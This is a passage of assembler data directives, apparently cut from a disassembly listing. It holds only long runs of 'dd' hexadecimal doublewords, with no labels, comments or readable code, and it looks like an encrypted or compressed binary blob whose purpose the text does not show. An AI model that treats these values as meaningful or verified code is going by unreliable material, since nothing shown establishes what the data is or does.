9D064305h, 1B2D0C00h, 296E917Ah dd 740F9D8h, 0D73EADE9h, 7A1FF975h, 6A1EAA26h, 77F1DA96h dd 2E9AE9h, 80C4FE62h, 887DD0ECh, 19480AF8h, 77388B16h dd 0A9478AB0h, 0BAF75CD2h, 0BD964049h, 0AABD5AC5h, 75C78C91h dd 475D09A7h, 46E98518h, 640A8DC4h, 0B39E4F1Bh, 0C112226Bh dd 0F0574633h, 5BAB603Fh, 1814B1CBh, 0D560397Bh, 28596637h dd 588072EEh, 9644BFEDh, 5DF37730h, 591FF79Bh, 0D0218C52h dd 0F50CC64Bh, 0C644271h, 0DA3513BBh, 55E1249h, 0B8125930h dd 54F70244h, 0E0629402h, 7217DBADh, 5BE93705h, 0A8F255EFh dd 2C5A092Ch, 3A0B763Ch, 12B1510Bh, 50967180h, 0FCEAF9B4h dd 0AD4C33BAh, 0E2C044Bh, 13B84534h, 9356548h, 589588F6h dd 5F2ECD67h, 5A9DFEC9h, 16EE8640h, 2A9819E8h, 6875FC00h dd 3C71E91Ch, 0D4769701h, 0EF457DDAh, 9045093h, 0E71E198Eh dd 1078B67Ch, 66CF961Fh, 5C4AAB76h, 678AE5ECh, 10BBA08Bh dd 2014AE1h, 3655F9F3h, 3327E017h, 200E12B2h, 8127EF89h dd 68028FB4h, 0CAE707F3h, 485DEE8Bh, 910FA768h, 68598416h dd 128DBBDFh, 4ECF9B7Bh, 0CC8728AEh, 3F21759h, 0C22ABA2Dh dd 5D0C164h, 745A0742h, 0A3DCADD3h, 440BAA26h, 0E1137F3Dh dd 954B43DBh, 0F53ECFACh, 6DB264E1h, 6B3BCD52h, 5001F5B4h dd 55619150h, 827B6E37h, 447F40ADh, 0C7051C67h, 89E9C7B6h dd 804684C6h, 0D1778ECFh, 47F0444Eh, 55E5BD07h, 39E36805h dd 211CDEB3h, 913645Dh, 6C83DFAh, 12835F25h, 9007748Ch dd 5B94B63Fh, 0CF89E01Fh, 9A680C4Bh, 11E5FD3Ah, 0DACBA1A4h dd 0F2683C51h, 0F16ECCCFh, 2081A49h, 734AC3C5h, 577B4268h dd 0E963E4F1h, 24158E35h, 93850C3h, 33750144h, 48DDDA55h dd 91BD6833h, 280EA1Dh, 1DF07CE8h, 12A2C140h, 5BB8D24Ah dd 5816EA03h, 0A8BBE95Ah, 68122E76h, 0F3461771h, 75E37C7h dd 7E5359BBh, 99E4A243h, 0F127AC45h, 21494B15h, 0DFA1A545h dd 4C855C29h, 0C01EE881h, 5CB65276h, 96C60B80h, 0EA2084E9h dd 0CD743AB8h, 7BFB7F48h, 262F3F13h, 2909D9CEh, 0E40651C7h dd 0C0031071h, 0C48003ECh, 81FA857Bh, 6F42F282h, 0CE40FB8Bh dd 0DF47CBEDh, 7EC1F416h, 79521123h, 90594360h, 6866405Eh dd 74186725h, 25C1E08Fh dd 0B8017FD7h, 91FC90D2h, 14974E05h, 2DE10A13h, 0BA590F07h dd 0EDDA9540h, 0BFC201h, 0EE7C3583h, 24FAF255h, 5BDDC4E9h dd 0B858CADAh, 0A7EF1E96h, 64DB2A87h, 161EA15Dh, 4FA4BF04h dd 0BC849211h, 5EF26225h, 5692AF74h, 9A9DE909h, 1C16D779h dd 0E5AF0829h, 8AE512BCh, 143EAF50h, 103AF021h, 58269F6Bh dd 6D470284h, 0E3607798h, 41E9EA6h, 2190E9CAh, 87E78003h dd 0F6B9B551h, 35CEF5D5h, 0FD5C4030h, 0BE27A510h, 0C264FC89h dd 647DD3F7h, 95748B0h, 13FA909h, 0DD1632DFh, 71250047h dd 1C17094Dh, 57022CDBh, 0CA3CB3E9h, 8CC0B4Eh, 6842D4F9h dd 0E9A8A18Dh, 2006AC39h, 9E861C0Bh, 0D8A1F7B9h, 0F266E9CBh dd 0F4CDEB0Eh, 0B0F3E93h, 0C2C5C325h, 0EC1E01D1h, 0EC7D7911h dd 18B5F23Ch, 0D390CAAh, 8BF0AD0h, 77F03B0Bh, 7AC9291h dd 1D0E4405h, 6089504Dh, 0DDC22D20h, 0A73B7EE9h, 3062E2A3h dd 0B382D65Bh, 1C3B4740h, 0F9C3185Fh, 1212EE8Bh, 0AC75A252h dd 64BE126Bh, 2B8E1D41h, 0A13B0B61h, 0F29FFFECh, 9A4A977Ch dd 9659B2DFh, 8B2BB7D9h, 9A23100h, 0D2972B0Bh, 5B687F5Eh dd 41FE337h, 63AB0B2Dh, 7D7835C0h, 210F131Ah, 1C4805D3h dd 9621FE01h, 0BBA59CB7h, 6116CC78h, 0DC8416EDh, 14840712h dd 2EF657A0h, 902F1ECh, 43592BE1h, 34D8BD3Ah, 0D9BE2E93h dd 60E5625Fh, 1543BE0Ch, 27B390B2h, 6D11ABA7h, 6CC0E555h dd 10374C50h, 0BA00302Ch, 21991B8Bh, 8E0AF281h, 0F90DC211h dd 5B0A0102h, 2D9AE12Ch, 0BBB83883h, 0A9D4AE51h, 0D7E9CFCBh dd 0A905F240h, 0EA150877h, 0AE54384Dh, 0BF0EFC7Fh, 0D0A80066h dd 0CC9C7C7Fh, 0B7AF044Fh, 0EE296606h, 0ACB1E061h, 6E0F12Ch dd 0D6189558h, 8AA2BB5h, 1B4BFD64h, 1CB95B0Fh, 6A808518h dd 36BC918h, 963D3E10h, 0D32F9292h, 8A93D1F0h, 81DA10E8h dd 0F27603F5h, 5456ED14h, 651FFFE5h, 5768658Eh, 226A801h dd 0D16BA0C7h, 157F203Eh, 94F73316h, 6C43680Bh, 81DE96DDh dd 0BA00BD81h, 59722533h, 5D027FBCh, 0AB2A9A68h, 255FC2Bh dd 4D76701Fh, 746A541h, 30870CAh, 3742D9Bh, 0BD14A143h dd 37E7DF81h, 0CC0FE00h, 0CB3C5379h, 0C5ECB1Ch, 5A8A4915h dd 3F0102B8h, 896C8256h, 0E3041F9h, 0B6F62F05h, 1034509h dd 4E255494h, 0D4AA029h, 90483319h, 72530C36h, 49187051h dd 32606E7Eh, 1AF9B40Ch, 4462B7B7h, 0B3836BC2h, 8DA5B1Dh dd 74C15E6Ah, 0F72B0DE9h, 0D3AF50C9h, 343C6F17h, 0EADC12FEh dd 6C5B0B61h, 852FA32Ah, 0ED0CFE9h, 1E4A055Eh, 0CC139746h dd 5A182715h, 80385649h, 620990BAh, 0B70BA40Fh, 0DA89D8AEh dd 0FEA5387Bh, 0A268C1E0h, 551D957Eh, 50B900BAh, 8167E82Eh dd 2F4D77C1h, 0D4F4BF98h, 2E27A51h, 515D295Fh, 23346366h dd 0EF610B16h, 7382DE4h, 5E49935Fh, 1A757B83h, 6B81F664h dd 8A2807FBh, 4C83130h, 0B2D8F0E9h, 8244989Eh, 0B67DBFBh dd 98DFE528h, 80534141h, 4995D2F6h, 0C2CC5580h, 0BEB6FE10h dd 2BBF80C7h, 0C4353DBEh, 657B551Fh, 1EDEEECDh, 589BA32Fh dd 0F6A42543h, 5F66065h, 0EE5B6F23h, 0B289640Eh, 17C6CAAFh dd 1DC716E9h, 522EAABBh, 0BF093A11h, 20FD181Ah, 0CB4B5EADh dd 0F2D09F44h, 32D83139h, 0A15308C3h, 57935BF1h, 0B43F052Eh dd 0B7C2D162h, 8A307A17h, 90E95273h, 47532523h, 75A818F1h dd 33D4A2ACh, 33B2015Fh, 0CA681EC0h, 84A4F9D6h, 0C09C5E06h dd 792EA43h, 310E6712h, 4AE8B12h, 9CDC5DAh, 0C11CF701h dd 2DAE7BB5h, 0E9615FF4h, 1A816F80h, 486DA1BBh, 0F6D82B65h dd 7180017h, 8102D26h, 357A0163h, 6F274A13h, 4B901401h dd 0A36019BEh, 5EFCEC14h, 1293BC74h, 920AA66Fh, 0D71ECAEFh dd 0EC05C7C3h, 182EC40h, 58CA8915h, 640BEA8Eh, 9C589B5Bh dd 0C794B469h, 0C08E322Dh, 0BB59B693h, 9C5615FFh, 2580802Ch dd 22300674h, 326852D8h, 1D5312A3h, 5A480AD0h, 77E6508Eh dd 1CA2E5Ch, 7EB73787h, 71388DE9h, 7478802Fh, 0A43DF37Ah dd 5EED4F22h, 9E38EE93h, 69ED41A3h, 42BA0752h, 0EFD31809h dd 888604FBh, 0C2018774h, 0BD005697h, 0F30B041Bh, 7B23816Fh dd 48152675h, 7158C420h, 4E56DAAFh, 8AD8B9Dh, 66530930h dd 0BF27A10Dh, 0C47F0B57h, 12D5EA9Dh, 2FD28BBAh, 0E5955C5Dh dd 0B1064002h, 473E0E3Fh, 7D2FEA0h, 3D60243Bh, 0C8CA8BEFh dd 9CC55809h, 8278261Dh, 6AD2302h, 215D041h, 56CFF59h dd 9CB15116h, 0AA1274F6h, 0F336CCCEh, 0B7B41E40h, 0C1819BD0h dd 4E706052h, 0ACADAD4Bh, 2DEE68A0h, 5697B391h, 48D79109h dd 370C957Fh, 0E37F0705h, 1D03650Dh, 0FF46ACEBh, 0E1645A28h dd 17DD6B67h, 52A02C7Fh, 9DAE12D2h, 0FE6EA782h, 0B8537098h dd 0CCE675C1h, 0DA70E864h, 2A860FCEh, 0EE810BBAh, 0F08E583Bh dd 660E6C1h, 0B628AE12h, 15D2952Fh, 9C888C2Fh, 9722FC5Ah dd 0BB53DE82h, 3AF7D552h, 246812E4h, 0C2B16430h, 0D70B1E54h dd 7134CE23h, 6B302C91h, 0E88056F0h, 8853129Bh, 0B906FECFh dd 4C6213B9h, 3F10995Ch, 555925F2h, 7599759Ch, 235E308h dd 8818B252h, 0A11096DFh, 0AA74693h, 9130C550h, 5E350ED9h dd 257B243Ah, 27A31CB8h, 9E9D1E57h, 0E2E98C61h, 0D128462Bh dd 3DF6B4E6h, 48577A25h, 28F67360h, 0A1ADFD27h, 6601A217h dd 6D05C8ADh, 2D2C3F76h, 930992B1h, 94CB77FAh, 0A9B3FC1Bh dd 0D2B4B8D3h, 24E67B88h, 0BC888C9Bh, 12DE6809h, 40731A01h dd 80FFCEFCh, 2B573AABh, 975E25E9h, 50164479h, 7028E237h dd 7A97F9F6h, 26489897h, 8C90FEC0h, 0AE064FF4h, 883951F8h dd 36EE2EE5h, 0DAF749CFh, 0ED0320F3h, 3E846812h, 0A298BCDh dd 82E33350h, 8422F284h, 2EB7EBCAh, 0C0AEB17h, 500C2C15h dd 7E0C88F6h, 4743CF68h, 59EF40ADh, 0A780424Fh, 985EEC40h dd 0E904C2A4h, 67488E66h, 0EAE4FD88h, 9771F69Dh, 0DB5CBCC7h dd 5D89482Ch, 4D157704h, 0EDFAC026h, 3D39688Ah, 5162AFC9h dd 0FE982CFh, 9747012Ah, 89CED92Dh, 72496DE9h, 0C3562BC3h dd 0D795930Bh, 91C01E18h, 0A6615782h, 83B5316Bh, 0EC0C1B80h dd 0C0C7A18h, 4573C32Dh, 0E1047E0Eh, 0EB0199A3h, 0ADE268EEh dd 2D45001h, 6E746857h, 7C779588h, 0CDF68007h, 7FD54F82h dd 687F516Eh, 46F67E4Fh, 0A77DF8D3h, 6BBCF34h, 6DC8CDC0h dd 0CBEA322Ch, 6F0BE192h, 7DF2C2DDh, 1F6205ECh, 8EEB2927h dd 0D4A9D6C8h, 0D1448990h, 3EAE17EDh, 0F5730767h, 9BE68230h dd 2B836860h, 0CA9D41ECh, 5B0809F0h, 74013F5Ah, 0BF1810F8h dd 1E47DC45h, 2E0BBA3h, 19D5BB2h, 2B69E9C7h, 0E9586C2Fh dd 0DFE39695h, 0D1559A2Fh, 0F0EE397Eh, 3040A839h, 787C64Dh dd 0CEFECFEEh, 0E4E9D8E4h, 0EE59C817h, 0CA0DD300h, 7B873Ah dd 21ABBA52h, 0D00937AFh, 0CFF1F9BDh, 0E3A5E40Bh, 0AD0FFEBh dd 607E58E5h, 0C6F50C56h, 374FFF38h, 0E04B3BC3h, 164FF1BEh dd 99210B0Eh, 0BE163E56h, 0DD87BBC1h, 45B2FA57h, 9C1E7EF0h dd 4D22CBF1h, 35016DF6h, 0DF04F59Eh, 0C4C5C53Bh, 969580B9h dd 42126D41h, 704554Eh, 45E4922Ah, 6F4F1DF2h, 0F0B98751h dd 0E941A012h, 4B40994h, 0E14B5783h, 0E3CAB026h, 67AC1636h dd 447718E9h, 0D19B8BEh, 0F583798h, 0ABC4D77Ch, 0ED800310h dd 88F5990Dh, 5C9A06A0h, 0D000FEE8h, 0B6527F2Ch, 6C25E9ECh dd 626C7E89h, 1BFFE413h dd 590CC9F9h, 0FA969A22h, 55C07C04h, 3191FA12h, 0C97CD327h dd 0B378E2C9h, 2D5DBF09h, 8C8685DDh, 40A08552h, 71746B33h dd 0F5D492DDh, 1988DDC5h, 167E2F6Ah, 0F43CF153h, 0DDF76683h dd 0D6A39695h, 7E6D829Ch, 6465020Bh, 50C1272Dh, 21F7E0A4h dd 34FCF2B8h, 0FCC97969h, 6F69983h, 22BC2BEAh, 226BBD1Ah dd 0F63EC2F7h, 3E123817h, 0CAC1EF18h, 0C980BD22h, 685056DDh dd 75242EB5h, 0C6020B11h, 0AB35C8E9h, 0F896DA69h, 68674014h dd 0EDD7CAFBh, 0F3F80C3Dh, 1D9828E6h, 6C378B2Dh, 0C7681071h dd 4C542E5Ah, 0FE012E09h, 0BFA342D4h, 6EBE86A0h, 0A004C33h dd 3FF68146h, 0B078FD23h, 0C5E8A1EAh, 9A10C77Dh, 24BA4EABh dd 2B12BAC1h, 0C204DEE9h, 0C3263972h, 0F8B0F2DCh, 21160F5Ch dd 5BA5AD0h, 0BAC8317Bh, 20D58044h, 10D6E916h, 0BBC726F9h dd 704EC23Dh, 8539E861h, 0CF43E90Dh, 24D19DFBh, 1E76055Dh dd 0A1C46C97h, 9168E015h, 47F20C4h, 81AABAB0h, 71C7348Dh dd 20B6DA8h, 0DAD817F7h, 3C30D7B4h, 23C0E1CFh, 0E764BFC7h dd 505BF626h, 1C9E0B72h, 7E470174h, 18DB6718h, 0E4B6EBBh dd 0E300E6ECh, 338D186Ch, 779EBC1h, 1466F304h, 0C6C075F5h dd 580EF98Bh, 33009A8Ah, 0E92A1C13h, 3180672Fh, 416390E8h dd 91926F1Ah, 8912C2E3h, 0DA685FD0h, 409716B2h, 5E5BDE0Dh dd 2D66B656h, 0D25E765Eh, 0CA2519D2h, 655E5C7Ch, 9962FB82h dd 606F582Bh, 65DAB85Fh, 1AF8499Eh, 0ECD0955Bh, 30DE5971h dd 0EEFC4E73h, 0E90EAFB8h, 8BF129D0h, 578FE150h, 310DD840h dd 0B7C4E7Eh, 0A8C10AD8h, 3D1D325Ah, 0DC2E69B8h, 0EC9302BBh dd 947CD29Ch, 36BC6805h, 87E95744h, 4BD20597h, 0A52ED122h dd 18C70B5Ch, 1862CC8Bh, 0D4343BDDh, 0A71D32BFh, 3D445756h dd 0DEB09275h, 0D67C1285h, 0FEC10863h, 8E1E4227h, 0C2836482h dd 0B05475E8h, 0E8894E5Ah, 0DC01B3D3h, 8452A2AEh, 57980D80h dd 93385449h, 4E7D17BFh, 0EF9000E8h, 6F6027F8h, 0E692C895h dd 0EAE31357h, 3071DD89h, 0A8C9EE8Bh, 369275D3h, 6E2C655Ch dd 76655D52h, 0E8130126h, 3F847CF2h, 0C061268h, 7D33436Dh dd 0F9861D6h, 78686652h, 0BC6B1397h, 0E9B189BDh, 4E9F68C9h dd 0D04E59B8h, 3F91C29Fh, 9410E43Dh, 5229539h, 8BF3020h dd 0F73181FFh, 1EF75003h, 0E43DFC6Ch, 521C995Ah, 11E4C331h dd 872F4A4Ch, 0F1CB903Dh, 7265177Ch, 0C4C30812h, 0E7AB8448h dd 62AC4F0h, 52E8CFD1h, 0F28AC14h, 5CD58851h, 886CEEDDh dd 2C87D313h, 0D05BDCEBh, 49D685E9h, 8EAC108h, 6827C442h dd 0F60D698Dh, 1819781h, 0CC2EF380h, 42F0AEBh, 3A34D4C8h dd 0A285B1Ah, 630BB354h, 0A8EA5352h, 70380BB4h, 54274441h dd 0F1816049h, 222D0B85h, 901D8902h, 48EFC1F6h, 5F803103h dd 890611EBh, 99E9F91Fh, 0C202C7E9h, 0E10F9235h, 4503C30Eh dd 0A43996B1h, 0D000E0D9h, 294FE760h, 0BC9A2FBh, 0A0B1D508h dd 6B096517h, 30EC898Dh, 94EAF3F8h, 12F493A4h, 45D0EB29h dd 97727CE9h, 3F551CA2h, 0E0A8C320h, 7A20FD2Eh, 0B25E18A9h dd 563D0C1Eh, 1059778h, 3A71E9DDh, 96F5BDD0h, 8CD14C31h dd 9600EA51h, 588345CEh, 0C1079D27h, 4477ED25h, 0C6E7C0E6h dd 853573B8h, 3501125Dh, 40047CEEh, 0B735E9C4h, 0BCF5838Bh dd 82DF8375h, 0BFC90B30h, 0F5AC57DAh, 7F5FC155h, 0E5FA043Dh dd 0E2B200D8h, 0C29D6F4Fh, 62FB84E4h, 703CF0CDh, 0C368AFD6h dd 0C7917AE9h, 0C1CEB8FCh, 7B29363Ch, 0A35B3BA3h, 2A64041Bh dd 0C4EB562Bh, 51DA7174h, 0A44C401Ah, 0C1952848h, 0C93AF6E8h dd 0E3AA4801h, 0E03F7A41h, 0AB0E2D21h, 0A16A123Bh, 66624898h dd 7057E94h, 0B938C54Ch, 64CEBC70h, 0D55C0987h, 912D7A4Ch dd 2DC51Ah, 4A4E30F6h, 0F2178936h, 0EF9FCE9h, 5416CF0Fh dd 0EF1706F3h, 81A00704h, 32F0913h, 0C643C84Fh, 94AE959Ah dd 0C7207AE6h, 3CB86F75h, 0F845484Eh, 0E196E215h, 0DF09163Ah dd 31F9C75Bh, 6B80E049h, 4A1A35F6h, 927FA995h, 6DCE4068h dd 194D0801h, 4808C231h, 0A05028F0h, 925CD2E9h, 44BF030Ch dd 0DBF71E11h, 81B3A6E1h, 7D543518h, 25D47E32h, 95484C4Dh dd 3BD3E210h, 0CCC51A55h, 55A6AB0Ch, 9BE91F38h, 0F59B0D60h dd 9D1C98C7h, 5FD180Ch, 0C02B9100h, 0DDC2D7Bh, 5087A88h dd 62A2103Eh, 7429BA5Ah, 0AA58A47Ah, 93103946h, 30DB50E2h dd 9DADE309h, 85CF0229h, 0E2FF44C5h, 308A3E34h, 82064C8h dd 9AFD59B7h, 48D54770h, 0A3A3540h, 29A47D57h, 72B988A1h dd 132A680Fh, 0F74151B3h, 94B1F27Fh, 1BAF10D0h, 0E805BE4Bh dd 0F5B449D2h, 212B3AEEh, 50125C8h, 0D1182638h, 2D8F30EFh dd 4B4F015Eh, 120B2F54h, 2968DB8Ch, 0AC847EA6h, 0BD6F4403h dd 24F52630h, 374A110h, 0ABAFF43Fh, 0CE10C301h, 5A00A2B2h dd 0AA35D8F7h, 0F424D3DBh, 0DB380F31h, 0CCD96616h, 0EBB8453Eh dd 0AA8035B0h, 0FE71F6D1h, 87029922h, 0F7652F0Ah, 767FC07Fh dd 3AD093Ah, 852C23E9h, 6D2F6868h, 1258C778h, 7B9ABF55h dd 42685C04h, 17049863h, 5A2F87BCh, 53C60066h, 1F42B8BBh dd 0E9124B71h, 41BAE516h, 0D23EE075h, 9CFC3077h, 0A5FC1248h dd 6873C1ABh, 30452B61h, 0D297CD10h, 4D6D6566h, 0CCD6745Ch dd 1012DEE4h, 25A1373Bh, 0A22DD8CCh, 0C139D30Ah, 7CEBB8E9h dd 8D1C9ED4h, 0D0EEC865h, 50A8E95Ah, 297AED27h, 0E17847F0h dd 6B2B7601h, 0E1C1FE1Fh, 0CC3560Eh, 35170C85h, 0B04CFC7Dh dd 0BF6DEAE9h, 0B105B314h, 0E5F18059h, 5DE28004h, 60C38CAEh dd 12905892h, 8AB23979h, 49B3C72Ch, 0E3B4CC16h, 773B9207h dd 4451B529h, 551677C9h, 27125B5Ch, 565123BAh, 81475B34h dd 4ED5FD5h, 888DCCAEh, 3C9AE041h, 7E8977CCh, 0A09E8A8Fh dd 0ABC85C4Eh, 0D14B4D0Bh, 0E53D21Eh, 0A212BDDEh, 0BE8DDF50h dd 0ED3AE20Eh, 97A3B4FFh, 5A6C8A4Fh, 808B34EDh, 725ECD1h dd 0C0634F15h, 0B80C00E4h, 73E01CCAh, 0C7442D40h, 3CEF0481h dd 0BE22DE35h, 6C2CE109h, 0DD8182BDh, 4962E91Ah, 0C0CAB224h dd 4226026Fh, 8509C2EEh, 0F0589C28h, 0E3549DF8h, 45896162h dd 4792D08h, 0D509A7EAh, 0A187B61h, 0E9E830F2h, 5E43BA5Dh dd 0F02609B1h, 0A9088A7Bh, 0F3D7962Ch, 25E890A7h, 104AC337h dd 0F9A9144h, 0C66CF280h, 9D10B129h, 0DCCBE07Eh, 42D90445h dd 2E09FE15h, 0CBB0B892h, 0B7D1B51Fh, 0DE637D40h, 0E981016Bh dd 2460380h, 0AF06D941h, 2703DE2Fh, 2FC0B476h, 504050Bh dd 0E007A2BBh, 82EF8440h, 7709A7CFh, 0F9BD58BCh, 0B47C8994h dd 8FC45D2Eh, 0DF1AB20Eh, 2760ED4Dh, 603B2734h, 0ADC25701h dd 103F852Fh, 4DFDDE68h, 3230E380h, 0F09D2977h, 30CA68CAh dd 0BDE9040Bh, 0A8B8DC67h, 13C9E7B5h, 0F7D34B57h, 0F42D8564h dd 0C7A0D6AEh, 10F72958h, 95DEB0A3h, 4443AF76h, 41CF1003h dd 0CE64281Bh, 88FE0273h, 16234C5Eh, 0BD3D5E92h, 250F3DCDh dd 0DD75C21Ah, 0E9871767h, 7F091738h, 0C224BE44h, 0E38F1E6Ch dd 59CE0C1Bh, 3E1016BAh, 0C2D500E7h, 690664B7h, 3709A390h dd 0D0539D77h, 0DF20555h, 0FE2C0208h, 3AC4B444h, 8A5F23CFh dd 0E24E73F2h, 612A2A3Dh, 0ACEF3E66h, 0BA346298h, 9379EBBh dd 0C032E3E9h, 9717A97Bh, 57616698h, 0DF102727h, 24E8B29Ah dd 0C3948BE9h, 26891BACh, 653D74D8h, 8AE7D711h, 3CE9C16Ah dd 0C7C981D6h, 0CF8078FAh dd 0B8418665h, 94070236h, 0F545AEF9h, 61FE535Ch, 3AE0E7CFh dd 0AF0070F6h, 0BB396107h, 0CB7272FBh, 95BB03B2h, 30EFE103h dd 0A9F1F4B1h, 0C43EE22Ah, 0F2B8CB7Fh, 6ED30D9Eh, 0C9803B93h dd 586575E4h, 0BA185C74h, 0B9C1CD43h, 5435700Fh, 513F9E29h dd 0F17DDC08h, 22B626C0h, 9072C680h, 1CBE8444h, 0BD6A65CFh dd 913A9912h, 417CD7A3h, 9C143D06h, 4F545E2Ch, 7CCD92CAh dd 9EE0A4h, 49DF4595h, 0FE00DD05h, 0C7212894h, 0F0E95158h dd 3C659B0Eh, 3B2A6791h, 0E52B99E6h, 1876B90Eh, 7A729904h dd 0D8050D58h, 30DE25DCh, 6D0E4902h, 904F5C43h, 0EA01B7C4h dd 219A0D89h, 604212B0h, 4A40E237h, 5295A008h, 214F252Bh dd 0FF589E2h, 8A77E3DEh, 96F01C13h, 0B45725D5h, 5F5B2767h dd 9D2650ECh, 34E7D4FEh, 624E7BD9h, 542F2513h, 0C2FBD233h dd 0B716C3FFh, 6E982F96h, 6DD2359Ah, 4A009ABAh, 4370C9E4h dd 5CBB0374h, 9B4DFD52h, 0C36F857h, 0BC24E727h, 38412CD2h dd 4BE076Ah, 0C07C274Fh, 874E49F6h, 957DF095h, 2FAA7C8Dh dd 6A8608A6h, 4321FDC3h, 0B693BE74h, 0C4ABE8F6h, 550BDBF5h dd 542FF67Eh, 25D55189h, 34687B60h, 0B4E98033h, 0B9E37A4Fh dd 35DBE07h, 0D5A8D439h, 0F082FEFEh, 0C6614053h, 25FB3F42h dd 62236998h, 78B58C2Ch, 73D9E94Eh, 9630DD70h, 0FFF792B5h dd 5A3A7238h, 0D5CABCFAh, 0AFF49397h, 0A96C5BCDh, 60F5895Fh dd 35DEF63Ch, 8C6FEh, 0F728D6D9h, 224BB3E9h, 5AC93E8Ch dd 7BB68C95h, 12B96556h, 4B71EF5Eh, 8C7A2BDDh, 215E5B6Fh dd 5B0DEDB4h, 69028CDEh, 5EAA3004h, 0BEC90540h, 5E6DA943h dd 1399B819h, 320DC501h, 94348B96h, 0B3494A13h, 8D11398h dd 0E909468Ah, 6190DDE6h, 47273160h, 4420DD19h, 16EC685Eh dd 0F234C6B5h, 5F051265h, 0F74F0079h, 7C9364D8h, 40001CBCh dd 8F58992Dh, 97294EE3h, 0F05C11BEh, 0ABEED81Ah, 50615418h dd 2F6C870Ch, 0EADC1082h, 0E91608A0h, 2CEEF0C0h, 162E26CCh dd 894A8E01h, 82523409h, 0E0DEF7F4h, 2D6316ABh, 7E7027BAh dd 17D112C3h, 0E78A0203h, 63627DFAh, 0DDA536C0h, 0F7B8E6C0h dd 20ADE77h, 0E25A7435h, 72414023h, 0DD6573C3h, 96C73216h dd 72D56847h, 453D88Ch, 0B78EB652h, 5A1B8288h, 0F696E1D7h dd 6E5B716Ah, 86CD7BE6h, 33F8C47Ah, 0F0EE7612h, 70DA872Fh dd 4F2FB79Fh, 0F4F7CEDFh, 0F805201Ch, 5D086653h, 31FC4FBh dd 86653B8Eh, 40DFFC84h, 58122EB1h, 0F5E1559Ch, 48088BCAh dd 80685D14h, 789D5A66h, 3F52EA49h, 0AD24EBB2h, 57C8BE6Fh dd 0E425587Bh, 8B1AAA81h, 0AD1EC33h, 4EBA16C0h, 0BF1D1774h dd 26946748h, 784927B6h, 22762035h, 2085B714h, 0C2800793h dd 0A03EFEFFh, 0D028A9EAh, 65028E9h, 0B9A59E83h, 3D34AF81h dd 79FD8902h, 312B8501h, 0CE8956E5h, 0B8FB49B4h, 34383D02h dd 7220D725h, 26A43B2Fh, 8131E925h, 6E2C5949h, 0E1A956E0h dd 8A65B93Bh, 3E0BBEF6h, 149AFDA0h, 0C5463CFFh, 0BCC6E927h dd 885B13FFh, 9C921EBh, 5B4803EAh, 0BFA1C0ECh, 8C2754DAh dd 7F5D5259h, 0D30FE6FEh, 0CE44FFA3h, 0A81D39C4h, 29892DB5h dd 5D1EC4E5h, 5B385AC0h, 9C59EF68h, 9A8062ECh, 320CA50Fh dd 0C8830D21h, 2077118Fh, 0B7D6A204h, 0EB831643h, 0C2DA084Ch dd 6856125Bh, 82F6C531h, 0E8E67B3Bh, 3F8F7397h, 0D89DC2BCh dd 0BC2E4D46h, 78D6AD29h, 4D7919FEh, 0C726F932h, 2B62A77Dh dd 0C582185Dh, 4DB1207Bh, 3376112Fh, 0C1239DBEh, 0F654403Fh dd 3ABDEE05h, 0D4BE77E2h, 5308157Eh, 0CA313E62h, 0ACEF68E0h dd 0E18A3D27h, 0D9A5C35Fh, 0BF4286FCh, 2537448Fh, 0A06016E6h dd 10028EE1h, 8CE9607Fh, 0BD35F39Dh, 10D54DA7h, 95C60194h dd 7E4F55E4h, 72B9B501h, 468B0F5Ch, 915CF8DCh, 0D419A8E2h dd 0BE59EA0h, 6FD6E1F0h, 0CBC4FC92h, 45B6E0BBh, 4C1063E9h dd 0BF20A1h, 0C581CD87h, 79756F6Ch, 314FDE95h, 49D7F708h dd 826A3D08h, 619705F0h, 6E49DDC7h, 8AD3A92Ch, 215D0182h dd 0D5FAE9D8h, 586DA77Eh, 440F863Fh, 0B3BE041Ch, 0BC74E76Eh dd 0EB2A1625h, 711E7BB9h, 5E33C91Ah, 4D9C9675h, 25028C8Bh dd 73783B49h, 0DD251E5Eh, 0FD1F7F81h, 0FEB23ED2h, 9AD01DC9h dd 0BE882A93h, 91E28BDh, 59E52743h, 1A350802h, 0C9BD9FF2h dd 0B6A785Bh, 5A455271h, 43DAC227h, 5AD7A874h, 6F20F352h dd 6B899DA7h, 6C451FF9h, 60BAFC90h, 4876FE63h, 11205355h dd 34BE5F4Ah, 0E9397090h, 0A5C57A95h, 21AEC331h, 0C5FFFF1h dd 31D640FCh, 68E62CBFh, 53534854h, 3E0C0DC1h, 0BE53C663h dd 7C80B116h, 1E69EB81h, 13476B71h, 81410F3h, 0E76AE90Dh dd 1F136E62h, 0B2B500FAh, 810AD651h, 9D28CD3Dh, 0E5811FC4h dd 27956F6Ah, 5A14D20h, 0E93B8E14h, 31BAB090h, 555AD025h dd 0AFEE6685h, 52009ECBh, 0FD5B91BAh, 4A5EE96Fh, 4E87AB84h dd 3A872B21h, 5DEB8EDh, 5C35BE51h, 162DD4F0h, 0DEA02EEh dd 0F1F1C83Ch, 5D1D3F96h, 5B986455h, 0B305EBBDh, 0AC056625h dd 7A340518h, 1DC45D0Fh, 132EECC9h, 0A1D3FCE8h, 0B59D63Fh dd 8B23F23Ah, 0B80CC457h, 80F52D1Dh, 1DCA5EF4h, 0A07296E2h dd 415BB910h, 264B60EAh, 8880E80h, 0C3919BFh, 2C705501h dd 324AC04Ch, 7F5368D2h, 49CABD59h, 205E20E9h, 0FD9AFB8Eh dd 32CC2BA0h, 0DE02119Dh, 0E261132Ah, 7CEF4BB3h, 1A4D2A8Ch dd 68C91C6Bh, 0F84C1CEh, 9537A6C8h, 9D59EE31h, 82DAEAD9h dd 7F934CD6h, 5B13DDE5h, 4CB039E0h, 4920D6C7h, 39DEB900h dd 0F181353Dh, 3F5D040Dh, 0E85EE95Bh, 71B25EE0h, 0B72388D2h dd 103255D0h, 0D1005BDDh, 0E0EA81E2h, 217D694Fh, 6F84E74Fh dd 93D0A2BFh, 0A0611872h, 7B7CB9B3h, 0F8775AD5h, 0F368E01Dh dd 62319679h, 5D09A884h, 5962882h, 0C34880FEh, 36528B3Ah dd 1DC8073Bh, 0C26C82A2h, 0DF5955D7h, 0C1851048h, 1CED5F58h dd 6098F810h, 0A439C0DEh, 6E5CC35Bh, 71B5F478h, 3BA0E926h dd 7CB6A300h, 27E8B050h, 2B7D852Ch, 0A19F324Dh, 5E6E68A4h dd 687FCD6Bh, 0DAAEB4FEh, 5DD94AF0h, 907A7D61h, 0B51EB9Ch dd 93126B28h, 930BC1BBh, 0DAF0EB97h, 0EFC1013Ch, 0B61B3006h dd 80B7652Fh, 0A73257B4h, 0F1017F40h, 